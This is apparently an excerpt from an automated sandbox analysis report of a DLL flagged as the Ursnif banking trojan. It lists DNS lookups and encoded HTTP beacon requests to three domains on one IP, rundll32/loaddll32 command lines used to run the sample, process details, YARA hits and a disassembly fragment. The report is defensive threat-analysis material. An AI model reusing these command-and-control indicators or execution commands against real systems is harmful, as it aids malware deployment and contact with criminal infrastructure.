May 3, 2021 18:47:11.411353111 CEST	55016	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:11.470191002 CEST	53	55016	8.8.8.8	192.168.2.5
May 3, 2021 18:47:14.400002956 CEST	64345	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:14.752608061 CEST	53	64345	8.8.8.8	192.168.2.5
May 3, 2021 18:47:15.309784889 CEST	57128	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:15.662859917 CEST	53	57128	8.8.8.8	192.168.2.5
May 3, 2021 18:47:22.395927906 CEST	54791	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:22.457612991 CEST	53	54791	8.8.8.8	192.168.2.5
May 3, 2021 18:47:41.384895086 CEST	50463	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:41.450936079 CEST	53	50463	8.8.8.8	192.168.2.5
May 3, 2021 18:47:42.381957054 CEST	50463	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:42.443730116 CEST	53	50463	8.8.8.8	192.168.2.5
May 3, 2021 18:47:43.381807089 CEST	50463	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:43.451868057 CEST	53	50463	8.8.8.8	192.168.2.5
May 3, 2021 18:47:45.400933981 CEST	50463	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:45.461411953 CEST	53	50463	8.8.8.8	192.168.2.5
May 3, 2021 18:47:49.398412943 CEST	50463	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:49.458760023 CEST	53	50463	8.8.8.8	192.168.2.5
May 3, 2021 18:47:54.439112902 CEST	50394	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:54.489809036 CEST	53	50394	8.8.8.8	192.168.2.5
May 3, 2021 18:47:58.025618076 CEST	58530	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:58.084348917 CEST	53	58530	8.8.8.8	192.168.2.5
May 3, 2021 18:47:59.312661886 CEST	53813	53	192.168.2.5	8.8.8.8
May 3, 2021 18:47:59.627646923 CEST	53	53813	8.8.8.8	192.168.2.5
May 3, 2021 18:48:00.365937948 CEST	63732	53	192.168.2.5	8.8.8.8
May 3, 2021 18:48:00.423192978 CEST	53	63732	8.8.8.8	192.168.2.5
May 3, 2021 18:48:03.370284081 CEST	57344	53	192.168.2.5	8.8.8.8
May 3, 2021 18:48:03.432059050 CEST	53	57344	8.8.8.8	192.168.2.5
May 3, 2021 18:48:08.743448973 CEST	54450	53	192.168.2.5	8.8.8.8
May 3, 2021 18:48:08.814914942 CEST	53	54450	8.8.8.8	192.168.2.5
May 3, 2021 18:48:22.168788910 CEST	59261	53	192.168.2.5	8.8.8.8
May 3, 2021 18:48:22.230268955 CEST	53	59261	8.8.8.8	192.168.2.5
May 3, 2021 18:48:23.448160887 CEST	57151	53	192.168.2.5	8.8.8.8
May 3, 2021 18:48:23.779263020 CEST	53	57151	8.8.8.8	192.168.2.5
May 3, 2021 18:48:24.284624100 CEST	59413	53	192.168.2.5	8.8.8.8
May 3, 2021 18:48:24.341797113 CEST	53	59413	8.8.8.8	192.168.2.5
May 3, 2021 18:48:30.199759960 CEST	60516	53	192.168.2.5	8.8.8.8
May 3, 2021 18:48:30.248704910 CEST	53	60516	8.8.8.8	192.168.2.5
May 3, 2021 18:48:31.403764009 CEST	51649	53	192.168.2.5	8.8.8.8
May 3, 2021 18:48:31.460863113 CEST	53	51649	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 3, 2021 18:47:14.400002956 CEST	192.168.2.5	8.8.8.8	0x65c5	Standard query (0)	app.buboleinov.com	A (IP address)	IN (0x0001)
May 3, 2021 18:47:15.309784889 CEST	192.168.2.5	8.8.8.8	0x3c44	Standard query (0)	app.buboleinov.com	A (IP address)	IN (0x0001)
May 3, 2021 18:47:59.312661886 CEST	192.168.2.5	8.8.8.8	0xcc5f	Standard query (0)	chat.billionady.com	A (IP address)	IN (0x0001)
May 3, 2021 18:48:00.365937948 CEST	192.168.2.5	8.8.8.8	0x410e	Standard query (0)	chat.billionady.com	A (IP address)	IN (0x0001)
May 3, 2021 18:48:23.448160887 CEST	192.168.2.5	8.8.8.8	0x57b8	Standard query (0)	app3.maintorna.com	A (IP address)	IN (0x0001)
May 3, 2021 18:48:24.284624100 CEST	192.168.2.5	8.8.8.8	0xe07f	Standard query (0)	app3.maintorna.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 3, 2021 18:47:00.041860104 CEST	8.8.8.8	192.168.2.5	0x44da	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
May 3, 2021 18:47:14.752608061 CEST	8.8.8.8	192.168.2.5	0x65c5	No error (0)	app.buboleinov.com		34.86.224.8	A (IP address)	IN (0x0001)
May 3, 2021 18:47:15.662859917 CEST	8.8.8.8	192.168.2.5	0x3c44	No error (0)	app.buboleinov.com		34.86.224.8	A (IP address)	IN (0x0001)
May 3, 2021 18:47:59.627646923 CEST	8.8.8.8	192.168.2.5	0xcc5f	No error (0)	chat.billionady.com		34.86.224.8	A (IP address)	IN (0x0001)
May 3, 2021 18:48:00.423192978 CEST	8.8.8.8	192.168.2.5	0x410e	No error (0)	chat.billionady.com		34.86.224.8	A (IP address)	IN (0x0001)
May 3, 2021 18:48:23.779263020 CEST	8.8.8.8	192.168.2.5	0x57b8	No error (0)	app3.maintorna.com		34.86.224.8	A (IP address)	IN (0x0001)
May 3, 2021 18:48:24.341797113 CEST	8.8.8.8	192.168.2.5	0xe07f	No error (0)	app3.maintorna.com		34.86.224.8	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

app.buboleinov.com

chat.billionady.com

app3.maintorna.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49722	34.86.224.8	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
May 3, 2021 18:47:14.892385006 CEST	1455	OUT	GET /u9JBOXOyCt1J/Cqk3pF0_2B2/evko0P1iOLkfYu/tE8kijPwXl6fpTUvGY0L0/uKSRiZsz1TrVOn7H/lYNbZbDXpFfEDld/SZEdzjQiJ4mBJjhxQf/lliemLK4E/fjiV_2FMKJMbBd5i_2F6/V_2Fz7Tym384w5xw_2F/kNwSikyIWBdKPim7R9vGWb/gFLpN9hJBqDsa/ZkxxO_2B/g7xuaBcPsCTSbIA7GEQ7zhu/w_2FuzPVom/0RGTspDSMbay7GsRJ/O_2BvpZGrQEs/hpy5azZaVzk/tO8Yj0mAC2rNEA/7Y_2FaW8HQeMqJNFtj5QK/iv0XWUt_2F3/3R HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: app.buboleinov.com Connection: Keep-Alive
May 3, 2021 18:47:15.634268045 CEST	1456	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 03 May 2021 16:47:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49724	34.86.224.8	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
May 3, 2021 18:47:15.804673910 CEST	1457	OUT	GET /zWr7XKiLQ_2F3QZ2bR/ZuzwfgbmQ/mjgvv5jUliwpj1wMmSf1/mVwZRrRJ02ozj18W4CC/_2FqTc0J0ACZs0Zo0yB15V/UkO_2BhXUEjqi/ylcme0uu/h88DPxTz52fwzk2KiAITqAX/y1YkE9ueOd/NzFODbcfeCN_2B548/9jGMMg_2FjQB/TCcN38_2FLl/w78Mf5LsU18OtD/O9ldbeaIz2YOBBV9govEw/if1bIKJhIzR9fYIT/Dva1E7_2F2LcgBj/3WJFp2Il273lx9FN_2/B45JK5S6v/rZZWdDOKWu65eMI2rNKK/RAsOHyLCy3eKhZf_2Fm/CD_2FuANPfLuHGjULRoA2Y/Paqy HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: app.buboleinov.com Connection: Keep-Alive
May 3, 2021 18:47:16.549617052 CEST	1458	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 03 May 2021 16:47:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49729	34.86.224.8	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
May 3, 2021 18:47:59.770210028 CEST	1514	OUT	GET /hPJ75Rz1l0Yg172f0/W92Rc6NrZORu/agJ84T4GWPF/71Su9Jrd5ILrko/1XWo5CLa_2Bx1ycL2fXGF/76IsZupbi6IIIogp/P_2BrqGlfT6Z_2F/9HIF9QL_2Ffn95EjHz/EKpbgAout/m_2FkBfNGzNFhXOxCcqe/1zQKvOOwqE_2B22qrZS/vj3rmMMb_2BsLkd2AZhDC4/602lvjtm6dYcP/dyzgfgBT/A_2BC4eofqol5orEsMEQPWe/zZ6Swnuj_2/FM3kwbNjGbF9dztKO/5Sul25wMK_2F/fSrDDmSQa3P/LwvXQje5tWHJ24/YCtfl_2Bd9Wgni_2B/yKHW HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: chat.billionady.com Connection: Keep-Alive
May 3, 2021 18:48:00.513370991 CEST	1514	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 03 May 2021 16:48:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49731	34.86.224.8	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
May 3, 2021 18:48:00.591386080 CEST	1515	OUT	GET /1Z7Zv_2Fo_2BBI/5yyu9xO7U6xQJUAU9LBdU/_2BZsJzv4AW1v4_2/FuBHkCgtXKYNI2J/fjLUpx4yvdGQ9xBWU8/nZ2UCR2Fn/6_2BJUjWbSDTFYEq01IK/G2MuJJozgl6fI_2Bxi6/8WHocMwy1m3c6beo7EybdT/0fZNT0A7jOYrz/ZJgKKaGn/V_2Bc6nIeAMBXcBQSTKS3tI/dRpB7HoFuq/5r0h_2Bic5oCoaHxQ/GZIQmnaYFeN7/lgmkXjg8R1P/o6CJiUeiWxo9TA/Om1BRSx_2BLEYhxw_2B1w/ztx7Xd1V_2BwFgLL/5ttSiFJbfjzPnDR/nMd_2BdWk4HTz_2Ftn/Va7N0lfshKE/mKz HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: chat.billionady.com Connection: Keep-Alive
May 3, 2021 18:48:01.351161003 CEST	1516	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 03 May 2021 16:48:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49739	34.86.224.8	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
May 3, 2021 18:48:23.936448097 CEST	6350	OUT	GET /cDNEPwBarUn/ROJH1XYkRfSClQ/qONBPlQo8FxG6mQW9Ogcz/u7mo1Dj2PullrRPq/bR_2BFpPLx7OhU9/HJBhAhHBzmstPPDOE1/w6ebBa_2B/KX_2BOm6FIW3gd6Bvbnj/Sh9h8HN_2BONCwGgPQr/IY0nkmO9u18wIpqrmMTW3z/GWi0vHa3h_2Bj/6IH92Uhj/Iom39I56_2BMfY2_2BRDxU0/VfXOZ9_2BQ/hDbFynpSdJTA10_2B/DTN9zUXGBVIL/6pinDdbjTIZ/J8liN5BZT7oU_2/FDetd44m1Cdm74WjgwpWw/7RPnYCrU0gXGaG9w/dolpQdALprU5fVz/g9lnmYz4c/oMbk6u HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: app3.maintorna.com Connection: Keep-Alive
May 3, 2021 18:48:24.702848911 CEST	6352	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 03 May 2021 16:48:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49741	34.86.224.8	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
May 3, 2021 18:48:24.480334044 CEST	6351	OUT	GET /6r_2FD5QsDWTjJjwzHfBaL/2HYJ2K06UlseV/lZ1msT18/ny_2FHLDol8VG6VjuFqLZ26/y1nZcgTjUQ/HL5YV0taxU5zFMebw/ouCjKnY1SB67/bctA52f0140/sHpnVH95T_2Fuj/QLIAvGeVws2XTmrrXV3BZ/psxvZSZg2i7jPF9N/caz3S5QCjepHp3W/l6q5V6Mw_2BHygdAjz/QFWLuSVDY/2iEYyTYQm6wj63ekurFy/nVWvwQ5A_2FY6vAZ0b2/ysxIi7hdttfqNZtbDq2s51/_2FLPh7LrbbPo/JhDaZ4qW/MGAYB_2BvyA3HE7Ywiz/pWy HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: app3.maintorna.com Connection: Keep-Alive
May 3, 2021 18:48:25.221971035 CEST	6352	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 03 May 2021 16:48:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5720 Parent PID: 5648

General

Start time:	18:46:22
Start date:	03/05/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\block.dll'
Imagebase:	0xd20000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.352720988.0000000003D28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.352839215.0000000003D28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.352637772.0000000003D28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000001.00000003.299036321.0000000001670000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.352699094.0000000003D28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.352816951.0000000003D28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.352743659.0000000003D28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.352664971.0000000003D28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000001.00000003.352761373.0000000003D28000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 4516 Parent PID: 5720

General

Start time:	18:46:22
Start date:	03/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\block.dll',#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5592 Parent PID: 5720

General

Start time:	18:46:23
Start date:	03/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\block.dll,Pape1
Imagebase:	0x1f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000003.285453583.0000000003F50000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5752 Parent PID: 4516

General

Start time:	18:46:23
Start date:	03/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\block.dll',#1
Imagebase:	0x1f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.353402660.0000000005A48000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.353461083.0000000005A48000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.353493626.0000000005A48000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.353527674.0000000005A48000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.353601646.0000000005A48000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.353567176.0000000005A48000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000003.286919905.0000000003050000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.353611757.0000000005A48000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.353343104.0000000005A48000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4648 Parent PID: 5720

General

Start time:	18:46:26
Start date:	03/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\block.dll,Riverslow
Imagebase:	0x1f0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000005.00000003.294762520.0000000004D50000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5856 Parent PID: 792

General

Start time:	18:47:09
Start date:	03/05/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff795120000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6328 Parent PID: 5856

General

Start time:	18:47:11
Start date:	03/05/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5856 CREDAT:17410 /prefetch:2
Imagebase:	0xa40000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6452 Parent PID: 5856

General

Start time:	18:47:13
Start date:	03/05/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5856 CREDAT:17414 /prefetch:2
Imagebase:	0xa40000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5708 Parent PID: 792

General

Start time:	18:47:56
Start date:	03/05/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff795120000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5816 Parent PID: 5708

General

Start time:	18:47:57
Start date:	03/05/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5708 CREDAT:17410 /prefetch:2
Imagebase:	0xa40000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6100 Parent PID: 5708

General

Start time:	18:47:58
Start date:	03/05/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5708 CREDAT:17414 /prefetch:2
Imagebase:	0xa40000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6616 Parent PID: 792

General

Start time:	18:48:21
Start date:	03/05/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff795120000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 6480 Parent PID: 6616

General

Start time:	18:48:21
Start date:	03/05/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6616 CREDAT:17410 /prefetch:2
Imagebase:	0xa40000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 1972 Parent PID: 6616

General

Start time:	18:48:22
Start date:	03/05/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6616 CREDAT:17414 /prefetch:2
Imagebase:	0xa40000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5720 Parent PID: 5648 loaddll32.exeCOMMON

Executed Functions

Function 6DD7BFB5, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,000007A6,00003000,00000040,000007A6,6DD7BA10), ref: 6DD7C072
